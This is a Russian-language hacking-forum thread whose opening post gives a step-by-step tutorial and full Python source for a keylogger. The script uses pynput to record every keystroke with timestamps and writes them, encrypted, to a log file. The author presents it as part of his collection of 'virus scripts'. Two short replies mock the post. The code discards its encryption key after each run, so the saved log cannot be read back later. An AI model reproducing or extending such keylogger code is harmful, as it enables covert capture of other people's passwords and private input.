Загрузка...

Python кейлоггер: как создать простейший мониторинг с защитой данных

Тема в разделе Вирусология создана пользователем Nick26rus 2 ноя 2024. (поднята 16 дек 2024) 670 просмотров

Загрузка...
  1. Nick26rus
    Nick26rus Автор темы 2 ноя 2024 4 26 ноя 2019
    Приветствую вас, мои хацкеро-ламмеры! Сегодня мы разберем, как создать простой кейлоггер на Python. Этот код регистрирует нажатия клавиш, записывает их в файл с временными метками и шифрует каждую запись для защиты данных.

    Установка необходимых библиотек
    Для создания кейлоггера нам потребуются три основные библиотеки:

    • pynput — для отслеживания нажатий клавиш;
    • datetime — для добавления временных меток к каждой записи;
    • cryptography.fernet — для шифрования данных, что позволяет хранить логфайл в недоступном для посторонних виде.
    Убедитесь, что все библиотеки установлены, выполнив команду:
    Код
    pip install pynput cryptography
    Пошаговая реализация
    1. Импорт библиотек
    Python
    from pynput import keyboard
    from datetime import datetime
    from cryptography.fernet import Fernet
    Эти строки подключают необходимые модули: keyboard из pynput для отслеживания нажатий клавиш, datetime для временных меток и Fernet из cryptography для шифрования записей.

    2. Создание класса KeyLogger

    Python
    class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
    self.filename = filename
    # Генерация ключа для шифрования
    self.key = Fernet.generate_key()
    self.cipher = Fernet(self.key)
    Конструктор класса KeyLogger включает:
    • filename — имя файла для хранения зашифрованных записей;
    • self.key — ключ шифрования, созданный методом Fernet.generate_key();
    • self.cipher — инициализированный шифр для шифрования данных.
    3. Метод get_char
    [
    Python
    @staticmethod
    def get_char(key):
    if key == keyboard.Key.enter:
    return '\n'
    elif key == keyboard.Key.tab:
    return ' ' # четыре пробела
    elif key == keyboard.Key.space:
    return ' '
    try:
    return key.char
    except AttributeError:
    return str(key)
    Метод get_char преобразует нажатия клавиш в строковые значения для логирования:
    Enter, Tab и Space записываются как символы новой строки, табуляции и пробела;
    Если клавиша не имеет атрибута char, метод возвращает её строковое представление.
    4. Метод on_press

    Python
    def on_press(self, key):
    time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    log_entry = f"{time} - {self.get_char(key)}\n"
    print(log_entry.strip())
    # Шифрование перед записью
    encrypted_log = self.cipher.encrypt(log_entry.encode())
    with open(self.filename, 'a') as ****:
    ****.write(encrypted_log.decode() + "\n")
    Метод on_press выполняет следующие действия:
    • Получает текущее время и создает запись log_entry с временной меткой и символом нажатой клавиши;
    • Шифрует запись методом self.cipher.encrypt;
    • Сохраняет зашифрованную запись в keylogs.txt.
    5. Метод on_release
    Python
    def on_release(self, key):
    print(f'Released: {key}')
    Этот метод срабатывает при отпускании клавиши и выводит сообщение об отпускании, но не сохраняет это событие в лог.

    6. Метод main

    Python
    def main(self):
    listener = keyboard.Listener(
    on_press=self.on_press,
    on_release=self.on_release,
    )
    listener.start()
    Метод запускает keyboard.Listener, который отслеживает события нажатия и отпускания клавиш. on_press фиксирует нажатие, а on_release — отпускание, работая в фоновом режиме, не блокируя основную программу.

    7. Основной движок

    Python
    if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()
    Этот блок создает экземпляр KeyLogger, запускает его метод main и удерживает программу в ожидании ввода, чтобы она не завершалась сразу.

    Запуск программы:

    • Сохраните код в файл, например app.py.
    • Убедитесь, что установили необходимые библиотеки.
    • Запустите скрипт.
    Код
    python app.py
    Теперь программа будет отслеживать нажатия клавиш и записывать их в зашифрованный файл keylogs.txt.

    Python
    from pynput import keyboard
    from datetime import datetime
    from cryptography.fernet import Fernet

    class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
    self.filename = filename
    # Генерация ключа для шифрования
    self.key = Fernet.generate_key()
    self.cipher = Fernet(self.key)

    @staticmethod
    def get_char(key):
    if key == keyboard.Key.enter:
    return '\n'
    elif key == keyboard.Key.tab:
    return ' ' # четыре пробела
    elif key == keyboard.Key.space:
    return ' '
    try:
    return key.char
    except AttributeError:
    return str(key)

    def on_press(self, key):
    time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    log_entry = f"{time} - {self.get_char(key)}\n"
    print(log_entry.strip())
    # Шифрование перед записью
    encrypted_log = self.cipher.encrypt(log_entry.encode())
    with open(self.filename, 'a') as ****:
    ****.write(encrypted_log.decode() + "\n") # Добавляем новую строку после шифрования

    def on_release(self, key):
    print(f'Released: {key}')

    def main(self):
    listener = keyboard.Listener(
    on_press=self.on_press,
    on_release=self.on_release,
    )
    listener.start()


    if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()

    Что-же, теперь в нашу библиотеку простеньких вирусо-скриптов на питоне - пополнение. Ставьте симпатии и я продолжу с интересными "скриптами" на питоне. Удачи :cow:
     
  2. btwHide
    Doklsi оцени, мамкин хацкер
     
  3. idslash
    idslash 15 янв 2025 0 15 янв 2025
    бредятина какая-то)
     
Top